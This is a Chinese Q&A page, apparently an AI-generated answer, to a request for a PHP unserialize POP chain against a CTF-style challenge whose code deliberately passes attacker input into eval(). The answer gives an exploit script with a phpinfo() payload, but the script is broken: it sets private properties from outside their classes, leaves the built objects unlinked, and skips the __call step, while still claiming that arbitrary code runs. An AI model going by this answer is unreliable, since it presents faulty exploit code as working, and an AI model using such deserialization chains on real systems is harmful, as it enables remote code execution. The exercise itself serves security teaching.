请帮我构造以下代码的pop链,这是一道试题 <?php highlight_file(__FILE__); class T1{ private $a; function __destruct(){ 'a'.$this->a; } } class T2{ private $b; function __toString() { return $this->b->test(); } function __call($fun,$arg) { return $this->b->n; } } class T3{ private $c; function __get($key){ eval($this->c); } } unserialize($_GET[a]); ?>
时间: 2023-06-12 13:06:01 浏览: 226
highlight.rar_diffuse_highlight_specular_visual c
5星 · 资源好评率100%
首先需要了解几个知识点:
1. PHP中的魔术方法 __destruct() 在对象销毁时自动调用;
2. PHP中的魔术方法 __call() 会在对象调用不存在的方法时自动调用;
3. PHP中的魔术方法 __toString() 会在对象被当做字符串使用时自动调用;
4. unserialize() 函数可以将一个序列化的字符串转换成 PHP 变量。
根据代码结构,可以构造出以下pop链:
```
T1 -> T2 -> T3
```
其中,T3 对象的 __get() 方法中 eval() 执行的是攻击者控制的代码,可以用来执行任意代码。因此,我们需要通过构造 T1 和 T2 对象,来实现对 T3 对象的控制。
具体实现如下:
```
<?php
class T1 {
private $a;
function __destruct() {
'a' . $this->a;
}
}
class T2 {
private $b;
function __toString() {
return $this->b->test();
}
function __call($fun, $arg) {
return $this->b->n;
}
}
class T3 {
private $c;
function __get($key) {
eval($this->c);
}
}
// 构造 T1 对象
$t1 = new T1();
$t1->a = new T2();
// 构造 T2 对象
$t2 = new T2();
$t2->b = new T3();
// 构造 T3 对象
$t3 = new T3();
$t3->c = 'phpinfo();'; // 执行任意代码
// 序列化 T1 对象,触发 __destruct() 方法
$data = serialize($t1);
// 将序列化后的数据作为 GET 参数传递,触发 unserialize() 方法
header('Location: ?a=' . urlencode($data));
```
当我们访问该页面时,即可执行任意代码。
阅读全文